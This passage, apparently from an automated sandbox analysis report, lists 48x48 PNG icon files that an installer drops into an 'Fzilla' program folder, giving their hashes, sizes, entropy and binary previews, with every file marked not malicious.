MD5:	F2B7DA842ABDBE79311B8601C5C3C4AA
SHA1:	3352B3AD0FC6E7A01C9CD88F03689DCF210538D3
SHA-256:	18FD112C1F3EA512EBEA7AA1F8A1AAAAC1F319290565D0AB3167B33421B15783
SHA-512:	552C244077959125A36C3266DCE652A84623B6EC13BF5173A28EE7A3B3BCFC9964BFFD3FD3C25817F1B3F4EC703F4C7CDF042A74975413C00787586BDD9E7B87
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...T#I...{.......A.........].....~........$...C....!.......i.:D..?......C.{.=s"%E..(..1.....wuv....4.S\|..:..[jF../.().3ZU5.zD....'..K7o...k.......<......7.\=......UVN.[Y."}E.L9.B..6.........c.........U`.E....wiuY.c......J(......q..R....2.....s.LUAq1H.:_.i....w..\..S.a.8..V....s.j...Q7d.K.E. hXts....x....B...5.v..hn.......<..!.8...UW^~l.0...IT.....k..B.g..".h.......!.(/EI.._,.i..eEs[.kk.o\|v..~..t..n..#.S....!xCww.c...s...B26\..m.....i..~..K.s....i...?...:.{C...>....F.g..1Z...8.~m..d.0..S.y....x..%8..;..[\..w..him.X....)4.....B...L...B.He.*lm...p......i..i._....*....._..`...$..D......L.0..b..f.eY....U^.pKe.tZ..?.tE.p....Jqze../.n.&....f-......K.......=h=....`{K..k@T..+...B..).....m!......TZ.<Y.VW.....{.wgRicB.2..}.eZ`q..P.v...$..O..-....!c.jO....8....Y...KUa.S...6..a/......ra....D...._.A......&..r";...F.{KJ.&.t..U.#k.'.+-.....[..'N...S...#}....p...G....d.{.3}...x...G..bb.N...y...})..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-PHIKR.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2274
Entropy (8bit):	7.878635274584875
Encrypted:	false
SSDEEP:	48:KEJybCXTLt3+dljO/kg/+WDtjFU09XEwrIHt3X:XWgTLt3gjOcghJFSwEB
MD5:	6AABE6412E6F1C85F6D72B5D4D2C3D04
SHA1:	4E98D95F100036330C3C9F30FE64713AF060484E
SHA-256:	64D6AF2EB4732DE739FE438D981A0EC0E09D6BDD89BE0FA6C332A009ED0EF5E7
SHA-512:	CECA624FD26FD9FBD658146D1EFABF00200899E592BC0CC0F75D828267F094325AE3B89A1D205E0E6CACFC71B9F1101A33DD039BECF1BA5AD688BC972536D4D7
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Z....l....c.333333333.&.IA......c.[f[....5....0...#.^uk$..u.1.G..?...........k.../z...%/..N.(.....#...w.k.;....a);.6b.G..p.. ..m.{..Yx...W..\|.\.b.Q..r....4.G<....Eq1.<..O..79G....@UU..z(.1.1.../C,.Ac.(/."...].vM...:O\|........}.}.._=.a.9lQ=d{N...u../\|...}......).4..s..!.?l.,.b.D.f.=........Q...\.\|.#/.......N..1..O..n..8..c+....'O.....oa........p....C.........g..'N.....,"....B..Y'd9_2n...+..."F./U83;..!.[..........{...K.....fO..7..7.2uVT.&.zO.D. ..u..%....\......d..I.. ...z1.....K?.6.......R.....m...O.8.cG....$.W9T.....T/R;9.%N&..g..a)&...Y...4..g..6..+.kG.p.qk......:.........I....{.x.[...1...{.l7:}.4.l.r]..4.}9r...S..X8.<.<.zk.......B..W.....E.sE...Z.Z...0::za}.X..sKu-.d..f"8.k..*...,.3Cb$..A..=..,[vV&''1<<.....s.........k...5+`,fBD...#...E.r.H..\j.U.........XW7.j..#.L..k...6c..6.&.sY6..........3..g..FNPT;.....K..:..-...e........100.....9....`]...G....Y3)..d.v.l.m6.....o.wYr.u..'..L...k].`

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-PKKN7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2545
Entropy (8bit):	7.901420527012787
Encrypted:	false
SSDEEP:	48:XduFqfnu3axVrJG7QDZCxjYk3WzYq1ev3WkGO6XciFdVqTCj1Inwt8lIL:XduFqfngUVrJG72m3Wsq1eeVYeOTCj1H
MD5:	22FB3B44DED101C8FAD11A7C752DDA8D
SHA1:	48A677C1D97810E0C41809BB4F66E3C1EA462E00
SHA-256:	8BE9B0F22FE85B9679EE83E808CAEE2E2B4C009759D838F5BF4E377343326E2D
SHA-512:	FC8C9ACC691E104E4EB3868CE0C648ECA51C28EA3A182E20D5640DE8A8ED910C7989C86BE36CA08C700F5562E6B157C2903EF0033AFD22A430B2609018029D9F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...t.I.....0g..ff...6.333333.a#cH`ff.%Gf.....7.....=..z.3.TW.7..20..........u.2.l.'....7.}p.7.<.85vicW..M...+.mb]a.O.&SlOS.-.I.Z.....%C....A...X..xi.q/q'..N.\.....wA7I.....+.z..........5....._.........w.+.A..`W..2.6.......O?.+.....l.S.....i...CF...vEn$.......<GL,wML.z.R.v.,?.g..j'...v...co..x).4+.~.e.N....f.....bu........x(...KI....v.m.q...\|7.h...vzQg.d........h...Q[."U.6....(+...&....?....8.7..............y..e..=...gT...^..N.I..K....@.#..NK.x._.<.O?CB.....7.........9...X.8.R'..e&`..x.Gx=.h..m.n.I..f....S....d_....<..G.K.Ts}G+...7...O?...+#..W.....Q.^..X.."..e.....:......L.6....m...a4.s"'.4lS/..>.)5y...s..JoZZ....'lQP8.?......y.......g.-d..pp.......\|.4...\...3...b..w....y.}.6.P..I.&Bd....9.U...oTs=.....b.~.h9...v....p!~{\|......X;.X`.o[...\|.{s4...a..O<N.]..Qk\|%..^&..9.Y.-.....m.......s.RXck....H..../..Q.c.r..]AO.X..U.....C.._e....q.2.EN...!x...gb./K(R5.D.A......1.c.x..a%../.XA.pl..QK..1..`.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-Q3L67.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2281
Entropy (8bit):	7.895544189257363
Encrypted:	false
SSDEEP:	48:kPGh5RAE/J6SZTCC9WVIpFkdunM8iiV6xkK7V+8q1pUh+/NK2K:oGPISz91kaMNiV2ha1pUh+4d
MD5:	DB7AC38CBD88E66B6D140C47AF2A0514
SHA1:	30BA0EA85EA3B7C7A3C89EEEBE47E3FA789ACFA2
SHA-256:	7FA7EB5416ADDA7091B6F3D460A36B4ECC0D41DAC4B867AFC4126E635FB6BA16
SHA-512:	282B043FC1D1E69FA403B48E087E38FA86728CF5823FCFA47E2E74FD38FC7B97EDCDD67576875FA1F35EF6015CE79FF3FE97BB803380D634294F8329C1279008
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx....$I....FUwO....Y[g.m.m.mcm{...........cF\|.Y~.O....q..C..t^..xa....>{..s..dtR.. .....c.W........\....f...?.G.....$`..Y.R.b!..XG....@@.6`.....82\.....p.XU.w........@p.7...,.....@.{.+..q8`..k@........]{M...$@.(..s`q1.......;..E"R..I..(...^_>..V..w....G.V...X.W.We..G.....oW....."R.).N.....Ht...?.... ...x....w.2A..7..d ..._f@...7m}....R..J...\4............CC(Xc0.XE.}q.m..2+...B.l&.......s...a....(.>zb.c..l.I...T.B..E...._Z.4...eO..FV.O....tC~.GY(.6F8h]..v.U[.a...f..g.v........tA....4..`.UM.B..Z.\|..I"...+.....S...8@^.6.R.T../....k.....~..a...k..c.....:..U..."..0$.4....l..2?.\|.Z....pV..!..2#.cR&.l...0..i......N&..`..D...WV......P.v....X@...U...*+...W@.^......:.b_).=Z.l~.L%...'Mx.......).0..3.-.t....A. ...z.Qe...... ..J.".r....A~..A+.(..-P1\|@2.{w.U.\h.m....~....QX...Q.#N..H..4y.3<j@.i'%.Ct..Xj.W.........x....._{h....&S3sZ.W.)...hy..&.B7.h?....'........V..< U.H7...-..x...^.m5..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-SGJ33.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2051
Entropy (8bit):	7.871635597132971
Encrypted:	false
SSDEEP:	48:ngWlLIHxtIkGCkX7e9AJH+smGk32e0vzWP4:5lLsxtgp7e9AVkGr24
MD5:	E419AB77F821DDF38E96462F4CE29205
SHA1:	9968A99FABE819EA79A3D99F8CB57E0A2525388B
SHA-256:	C52236A3209DB62DF4BD68CD5B305C5194B0C7B0249BDC082B7327AE86E59B76
SHA-512:	05EB4C7C39609B6072FE8F12CD423D51392FB0DE7C600228068C1623D8673A99AB07B379143D9BE88C96EA78B052232F5A7E8D2C6CF845FCADAC925242023479
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..ZUt.8.,I..........w......}..233333.>..M.W.n.&..f.W.6u.............\o.z.W.q..SN9.&...3.............q..?./\.....`....n......a..............d.a.2.../....../!....\|...U]...s...eYRUU^8.I..+bL......hhh..1....,........9.\|...x....8..'...-f...g~.../.}..kX....$Z.w.C.......].....(Q..s.eU.q.l..D;WH\...........u+......{........../...s..W..(4...&Z..C.)c.x..v.[.".....-..H.....n.........h...L1v.C......P..E.P..e.(+.....\u....D...s..m....2.....[....h...2.....O.....bnb...2.bry.V.FD.......gW..u._.@...c....E.1H..Hv,..!M\.HL..:...Fl.......b@.....'F..Z#F..J h5%0i{..*.66....a.00.:......Ly....$.&a.'+.,Z.5..x.............A....=4)...Z.."I..#&.....`n.3ye5...........V@..?.d..m'.k.E..6..jh.K....,....w...u..Dh.@..fNu.f.c.d&t.;.~..o..<.W....lP./}/..oW<g.&...H...mE..Vs.$r..DM.-Am...e.h..#.1.\...U....5,P3..r=.z=....t....~.CYDV..y^m'.......\[=aMV.'.W...(.....1<<\|...'....&K...:./..j:1....5....&Z.F.0..i...,....e`.pF/.'E,'.j

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-SPAJ9.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3150
Entropy (8bit):	7.901292238314475
Encrypted:	false
SSDEEP:	96:SAYs/XWMWgfRMQh0aeD5d6MZpA+7GnVF9H:4s/mMWKMVRD5d6MZu+729H
MD5:	5D73DDC4635BC87D88559D2507D9834E
SHA1:	BB2D0722362BCFA91F8AA8790A0352615DA590D1
SHA-256:	605CD86DAD008896EE2583252C66BF6602C8F48F720A9584233EC1330071571A
SHA-512:	CEC008EB72BF2C6647A84C64DF15AD902A9DE3610F18BE2EE8EA1E1C9B51BB660822088DB7A910E6E3A64CE41CF811A797FB64CC66457A8109F19630455B28DA
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...x.G......dY..e.....0333G..,Cpy7...ff..9.,...b.43.]u_u...:........VOb.......3.....k...\$t.w..li..".........o....@.;.,...@T1.....t..Wt...r.R..J.u..8.@@D...0.})e....Zy}.q.y.-...H.../,e\|^.q..\.B>..6d......t..0...B.(4....L...~...T...;q.cBcM...S.X.:.......l.4i.Dl@.mt.g......g.z.{.6.Ii.........F..{)..F.=.'...!.....R&....0k......".1......r...M.,qP..QR.#[.$....$.....D.t% V^.t.,[..L&.5.B/.Q.....@Ah\|M....S. .UR1....d.......yGD5.....8...{zzP.T...<..4..(Tk. u.PE.Q..7.Q<.k(....".e.2w....!5J..cN.."....^.c.=..y.k...P.-...r.?.......c4.`]....F..vZ....B..).J..0....;l....at.D...........;q.^2O@.qH...Da...O...5.P[.e..0..0.k.h..T..q.@.P2g.b.T..b........&...C..@..5.I.!..f.q{...&.Xq.]n.4Q.P..Y..`...P.F\|.G...0..?._..5.. .:P..!.8.k.5..`.Y4..(SY.(I.._z........ AP...:..u.=.J.Ac:"2b....2...T...&.!..\|..[...3 ...PP..A.K.G.r.3.t.[.k..e.k.!..j(h....N./.....L..Xm.>.?..}.......d3.E2a..O`......7F..yS.g.....L.f..:I<.....8@i...~[B).M.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-SR99J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2929
Entropy (8bit):	7.910852764112675
Encrypted:	false
SSDEEP:	48:sGcRZ5CKD2CDpCzh2+Eb+40Pw9sgNh8wif1/2bkjfhvENY9iIoJV7:sGg+C2CDpCQ+e+404jNh8//Rjfism7
MD5:	8BD443E6CE5E87FE0785125E4A010205
SHA1:	B35F8456CA74E0D41D12290018E904616DF4AE73
SHA-256:	F34C3F1F1B431F4C957B4352A5869ABBD638196FAC57B18CF8E259D88C11C370
SHA-512:	0CBC3A3C9DB428EF58265993D578ED4B9CB7482BD7AB81FB3B9218C74E41FDE085223024C6972C4B232ABF49C738636C4E6000750DC8664AAF981B6AEF82DCB9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......8IDATx..X..#..=U......g.m.m.m.~o...=F.....:.Z..\|..uJ....}.....'...w.8..o.....>6..k2.Q...F&.1.t:m..q#...a.n___.w.}....[v7.u..'H..K...i.51y........M.Rf"....^?............:.../.;YBK&...G....,a.4....Q....:..I..z.h7.=.#X..Kh......f.[....[......,S.y...I.T.%.JI<E...i.'Y.Z! ..o~LKGg..7.\|...).n.......-hiE.<z{.F4MS:QgGG...6l}.)....nR......T.....1.>..3f..3.0..S`1..]Kft..e.......Gp...a.n.8N+..(H.=...w..{.....s.v.&.........`.8a.D.# .....,..#.....HM...l..)%...u..g.D)..>-......n....<q=_l....,.`.#.H@".........n7._.o..t.!....X..y.......$..H....=.!z.F.....6H.:......'<......7........u...&.......4xz_..ucS...1.\|.....o\|........V.....r...p...m/.C...C.8..`.p...D..{..8.V.$....<_>....s,..:...Mo.L0..B...NB%.J.....!...dU....FO...d8.......+......^.<I...$r..R... ...N9...'K..M.]NP...0..0D..s}.:InR.@M....m...6....]......8......Y.^ %.`..ih.....0...A*J...Y.fI[[.'....j....i..ygGG.Qbp.`l;&....$.....`n.C.....>..%)..9.....z.9..z_..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-T3T4G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2336
Entropy (8bit):	7.897739327239153
Encrypted:	false
SSDEEP:	48:xvf4swlt27DYljZhdjTprcNQTzTUmo8lx1dtOuZwzb9aM0R9Ri:NTObjZhpv5/dn+zJ4I
MD5:	C1B755C20F9A313B1F5D0851CA2357D0
SHA1:	97C1D420EC0B3D5C9C75F59988B1778ED8B50B8A
SHA-256:	1732B05802AB5567B75A784D616E01673F74C454054D65B3CA980ECCB5A325D8
SHA-512:	351FA32A8AA9BB41C21ECD71DB620E2786FCE25143BC70A9A74B3393B4F5084A073ABEDB6365E07AAF03A3B8E411BFDE5EFAB0CF1AD850870790DBECE259154C
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Zst$...=1...m...m..m..z..m....L.1..o&...uW.t.-..(....L..D.....=...3g.([.l.9....sF5%.i..t..!Wa..>>SQ..xl....,500...{....@....;v..( /).\d..[p-11.G..ELLL....ppp.CZ.$..`fe;;;..y.jYvv6......%K....$k....LO.^..x=?YZZ.RSSyNC.....Ob{{{Q<_E333..E.'.....k..!.^..d..6...^aY...n.a...f.y..7.I......Z.`..m....###.J.@.A..8q..CF.n.\|.............7.y..3.^.~...=..7q..U.w.!..K.....Z...8..b.1h.9.../...&..W....t3....:v..R........T..A/P.^.z.a.pvv..A.dk.......#*.$^.D.xzz..+C.1/Js..7....w.m.6...b....%t...;w...kq...t..q....c..X.f............;v.!G..m..V.\|.......HE@........>.....h..+V.J.Y..5k..)((.E...Y.z.aV..8N_.r%CKV.}.Xr....&.5.......~.....E.K...%S..D..].....}={RI=(..IIy...s....?u..=.....@..8..n....ccE....Hy..X..h5.....q...)..{`....={...1c........!r..IZ.L..O..U..5..)....>D\\........`.m...^.LU\-.@..V(.g...}..,..,^.iZ2.-......c.9.<y2.P.>}..;t.P0.y....XqR4#PI.[.j.N.:..;........p.h...."..$....B.,W.g...m..x...5..R.p....;v.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\is-TANM2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3196
Entropy (8bit):	7.923256809742866
Encrypted:	false
SSDEEP:	96:Mf88mxxeRaY0LpfaqX1VxwEhGKcObH/Yu:Mz76QqX1VCLOrN
MD5:	6FAEA5A4CAA6BD9064007B90074FE532
SHA1:	51909BF0CF48D1E8BD40ABD53E56A1F6ECBC55D8
SHA-256:	40908F88D2F0C55EA571FAB72A70D9D66C5DAFCD018E37A5942A070123A0E3DB
SHA-512:	82B83BB9A7C65173938AE2D24F460719D06F7171A3264BE4594809F358B122397FA928D45FADBEE7342E3AB95FC0D562D5A5CDC327CA9328B2E5C5428192542F
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......CIDATx...p......F...0.............a).2.7y.a........w..U..L`..G..W...O...7....#......y..k...IV.0Ye..N`...1V/.....c3..S. .~Z...f..LT[KTSC.(.....B%C.......,........'xdQ. ./J..\|..SfO:.t&.^l.ah.....eQr.E_>.w....::la.....C..Gd..<..6..~a.S...IO..T....+l.4V..+.....s.....7..{.."#...>n.RP_1.......'=.y....DNl"..l...e..b_..wo.h.f_..o..e.w._l.9Qu.....g.q..'.$......xF......A.dI..g...d.Gpq.........k.2.(]<...?...J.......Tt....sd..Jek...;.j...=,..8c..W}...\.....I4 .......I.....-..+.....8..e8..?..h..._s.W.2...... A$.F...v.e.%...,....q.}...ZX2..;...I..A...........`.....]=r.7..P\|.AF7n$V.X ......6..^..$....@...f.\..>.....t.$Bx../x.....I.=.\...N...P..'S(.A.%....o(.X.D..B'._..}6.m...WSnjb.(...r.4....p.`<.c..1....z.w..Po.a\..../..:.Jz.....z...o.....).%..%K.kj.....=......i'...X.q....1...0......g7V..'.a./...3.$."L:M.....wX.J...._tH.5N<@...>.......HLU......?@c....s.E(u..%..V..../.....p\.VU1...8.O....p.@..,.O......&8G&.L...'.8d.4..'.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\localtreeview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2547
Entropy (8bit):	7.908095890900794
Encrypted:	false
SSDEEP:	48:fTLVnfuSnUFPcNDhzr/E1M6A7xYJWWZbBYMJdJGTLsNHAfHcDogMrUIPSPIFEUGy:bL1fRnAo/E1M6AipdB7dQcH8UCbGRAt
MD5:	F2B7DA842ABDBE79311B8601C5C3C4AA
SHA1:	3352B3AD0FC6E7A01C9CD88F03689DCF210538D3
SHA-256:	18FD112C1F3EA512EBEA7AA1F8A1AAAAC1F319290565D0AB3167B33421B15783
SHA-512:	552C244077959125A36C3266DCE652A84623B6EC13BF5173A28EE7A3B3BCFC9964BFFD3FD3C25817F1B3F4EC703F4C7CDF042A74975413C00787586BDD9E7B87
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx...T#I...{.......A.........].....~........$...C....!.......i.:D..?......C.{.=s"%E..(..1.....wuv....4.S\|..:..[jF../.().3ZU5.zD....'..K7o...k.......<......7.\=......UVN.[Y."}E.L9.B..6.........c.........U`.E....wiuY.c......J(......q..R....2.....s.LUAq1H.:_.i....w..\..S.a.8..V....s.j...Q7d.K.E. hXts....x....B...5.v..hn.......<..!.8...UW^~l.0...IT.....k..B.g..".h.......!.(/EI.._,.i..eEs[.kk.o\|v..~..t..n..#.S....!xCww.c...s...B26\..m.....i..~..K.s....i...?...:.{C...>....F.g..1Z...8.~m..d.0..S.y....x..%8..;..[\..w..him.X....)4.....B...L...B.He.*lm...p......i..i._....*....._..`...$..D......L.0..b..f.eY....U^.pKe.tZ..?.tE.p....Jqze../.n.&....f-......K.......=h=....`{K..k@T..+...B..).....m!......TZ.<Y.VW.....{.wgRicB.2..}.eZ`q..P.v...$..O..-....!c.jO....8....Y...KUa.S...6..a/......ra....D...._.A......&..r";...F.{KJ.&.t..U.#k.'.+-.....[..'N...S...#}....p...G....d.{.3}...x...G..bb.N...y...})..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\lock.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2178
Entropy (8bit):	7.884905660837002
Encrypted:	false
SSDEEP:	48:/G0Hhvsy1lSA+/KYuyoqXpYqNjFS/w9RNtZfEbvcMIj6sLiwX:VrH+loW1tFS/sRpfMvBa
MD5:	E4D56043A101142B29A04667A8EE1707
SHA1:	727A1248A58D11A11638380609E8D370E4FB27B7
SHA-256:	6645FB53F2195FB6B1693AEFCC5EA21EA7765C189D42A2F5D9708A300C58E07F
SHA-512:	2AEA3D40E1FA37D128051A0436DB2105FE6F4431601E50A0B908B0BE6CC74F2043EA1CC11503DFD4B347C73121CA945ABE0130990360F4004DC792DF80FA6AA9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......IIDATx..Y.l$;.}.{..a.......,8ff..133333\|f...0c.4..&..k.Mv._W.....\Uv.4.Zc).1v..53H...]4. ..%.@..555/+...llll].n..j.\|&..zzz....".t.E.....4.y..F..y../..._..7.pCz.....rH....#.C.A...a.....>..........\|1Q.U.......7....={.`rr.D..R.4.PJ.!.....E....x.{.3.._..V..sh...\..._.f..^.................\3.kv..+V....................mO.....\|.3.y.^...AymH..1..l.s`Rl.M ....~..'..S8..X.Q\r..^q....{...!........E__..b.....I.G.y...G?......'...:5mmm...~.F..8.a.........~...-......T..t...h7.m.uk.i......#ej.b..x......F.~g...`?..O}..o..-yJ......-.<..k.<......jz.9g.u._....5.m...`.\|........A")D$.D....NN.o..,.&..K...p...P.c.....O...W.......t2...\|.E...j..wP.......L.KZ:.B..Q.Q.....'m..........J.....m..h.....6..G.......%o.R.BSS.......5..`..&cr...E......ltyS....f..f..u......s..{....5$..&..x4.....(.B.6s.....6..d.....r.f`...%;)..6....1.......E7;..].$ .....d.........0~...l:..@..d.b.."...D@.}k........-W...1....{.y.6.......rQ!....i.......l

C:\Program Files (x86)\Fzilla\resources\lone\48x48\logview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1806
Entropy (8bit):	7.828845708925566
Encrypted:	false
SSDEEP:	24:mQP8CyETU29Vo53vbyBlKdxMBrKv8i2tuVT43vlqbJ3gYRst4xosHcHot4dQHlAn:mITT9Vo53vbhKb4IvRYew3SvSltd8b
MD5:	75FC9278853F1361D2538531CBBDF467
SHA1:	0CA385CCDB33FA883B392C749BE14A9865E2D4FA
SHA-256:	BE84A32CEF2D89E6DB8F055615F7E37B0EEC8250AA503F93B29985D573877D45
SHA-512:	9E7039F5444FC90723972C67C33F656EE1E24A942B1E9422A1926563D570A746CA69469088EDD651FFC28A99ABD3DA1716101F917141926363A64E89995B78DB
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y..+Y....m.U....ui.o.m...l#.=sk:5;......W.T..7....:...d.z....M..:...:._...x..7c....F..AN......U.V.}...........7...-.P.lY%::.........V!.-yjYDvv6...R.2e...T..J.... ..^..p+....B........"....>....@....O.0a.;......8p m.E....^...6lH.D.7..'O......f.U..FC.....(//...;...@.i.sY;r.H....a.~aa!..........0{......0."B...Va<..<......).........0..z.m.Q.M.!.B..3..........!.C4../].v...K...\|/....i..F....bl#`.p.O....).\|/.~........>}.q....xOj....Z.._\|...Y..dp..qj..o)....... L..\F].a...b..b ..Nhy.........@4U...~(...g.R.V..SH...'.0^.Ul.e.x.b)...............r..._...H.8.P......."...g.......<...+63..+WN..Fff.w.X". %%EK#.".s..q....%8.U.V.,..{...)...b.}.p..."..`.8.C.w.y.O~.....S..D....s.,H!.PA..-...E_..Y......S.......(....>..{...^A.....0EQB...y..~...X.C.E8..s"1~$&t..j.Z...u'...5fa..F...8@fa'..a+.;. ..#..DF._...._..J(..F..c.~...f..&...U....{.F..0.{...3g.@.E.WQU...O...L.....'O.`..Q..(....jC............[.T.....0.....c.

C:\Program Files (x86)\Fzilla\resources\lone\48x48\processqueue.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3527
Entropy (8bit):	7.925284146947221
Encrypted:	false
SSDEEP:	96:E9WEX7k3OxbiSIpGWQxkbQXeaulFyVE6ztPSPeL/XWMM:E9rX7k3OxB9abwwqzmMM
MD5:	23FB03E96EE59D6F8A4757CE5959970F
SHA1:	DC479D457E98E954C7F44AB0E2A31D6122306014
SHA-256:	4AAFE95357E4147AEE94EE32F2B7FE9BC63EE587CDE4589BA775EB1B83D817B3
SHA-512:	4572B19DF98FE6CFEB015212186EAFB7585658B61BEDAD7EE5772FD466EDB75BFA5770DB0E7B987A743002E4C4F73FAFA6097FFC3DE07B64D1C9A1C28DF86C3A
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W.......IDATx..Y...G....a...,..}.f.33....w........ f.v....~.......xY]S...3.2~...1.}.^............S{s...J..D"..u#.B.4C.A.R).<x.w.uW.U..7\...k........W(.G....6...A.g.?.qB.0B.W..8p.kw.yg...m.N.(....L.}.Z."..H...Q.$x...]]]H&....?.>.k :u..SG.P.\..5a...}..m.}..d2.......;....=w{f.....tB2.....'.M$.z..+.`........,-..q.-k..}...d.\|..k^.'...g4..f.d".Q.[..:D...,..bbb.FM@.....D..k......H.a:M.V..m......Z...E,.\|....'.`.p...VAF.v..#....f. )"...(3...8...4.."\|...A.....4C..#...B.2.V.Bi.. ..f.B2..:.EK....h6.C..Z......O..O.o7k..M.?.C."....yM...4`.........d..C.........JR.b.q..b(R.G......0.B.)...x mSD.5.....A.X.....:.8......DP..;...d.L.."m.,...o..F#`.....5CD>......".UeX-..?..l..f.'..:!brAs.2P.B,..#...4b..p.{.oJ..l.u^.r-..w .EXP..c...y....0.{.Z."..t...T.gV;.~......%.u.....\|%....\o...W.4j...%.G..l.u...0[..M....@'..\|....dfI.xO.O..e...?M@.)>o\|lp........m..T..l,...[R..{..........Op.T.....:..C......p..........h.3.,...\7... 4r....Ed..F.\.....o..9q..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\queueview.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2929
Entropy (8bit):	7.910852764112675
Encrypted:	false
SSDEEP:	48:sGcRZ5CKD2CDpCzh2+Eb+40Pw9sgNh8wif1/2bkjfhvENY9iIoJV7:sGg+C2CDpCQ+e+404jNh8//Rjfism7
MD5:	8BD443E6CE5E87FE0785125E4A010205
SHA1:	B35F8456CA74E0D41D12290018E904616DF4AE73
SHA-256:	F34C3F1F1B431F4C957B4352A5869ABBD638196FAC57B18CF8E259D88C11C370
SHA-512:	0CBC3A3C9DB428EF58265993D578ED4B9CB7482BD7AB81FB3B9218C74E41FDE085223024C6972C4B232ABF49C738636C4E6000750DC8664AAF981B6AEF82DCB9
Malicious:	false
Preview:	.PNG........IHDR...0...0.....W......8IDATx..X..#..=U......g.m.m.m.~o...=F.....:.Z..\|..uJ....}.....'...w.8..o.....>6..k2.Q...F&.1.t:m..q#...a.n___.w.}....[v7.u..'H..K...i.51y........M.Rf"....^?............:.../.;YBK&...G....,a.4....Q....:..I..z.h7.=.#X..Kh......f.[....[......,S.y...I.T.%.JI<E...i.'Y.Z! ..o~LKGg..7.\|...).n.......-hiE.<z{.F4MS:QgGG...6l}.)....nR......T.....1.>..3f..3.0..S`1..]Kft..e.......Gp...a.n.8N+..(H.=...w..{.....s.v.&.........`.8a.D.# .....,..#.....HM...l..)%...u..g.D)..>-......n....<q=_l....,.`.#.H@".........n7._.o..t.!....X..y.......$..H....=.!z.F.....6H.:......'<......7........u...&.......4xz_..ucS...1.\|.....o\|........V.....r...p...m/.C...C.8..`.p...D..{..8.V.$....<_>....s,..:...Mo.L0..B...NB%.J.....!...dU....FO...d8.......+......^.<I...$r..R... ...N9...'K..M.]NP...0..0D..s}.:InR.@M....m...6....]......8......Y.^ %.`..ih.....0...A*J...Y.fI[[.'....j....i..ygGG.Qbp.`l;&....$.....`n.C.....>..%)..9.....z.9..z_..

C:\Program Files (x86)\Fzilla\resources\lone\48x48\reconnect.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 48 x 48, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	2545
Entropy (8bit):	7.901420527012787
Encrypted:	false
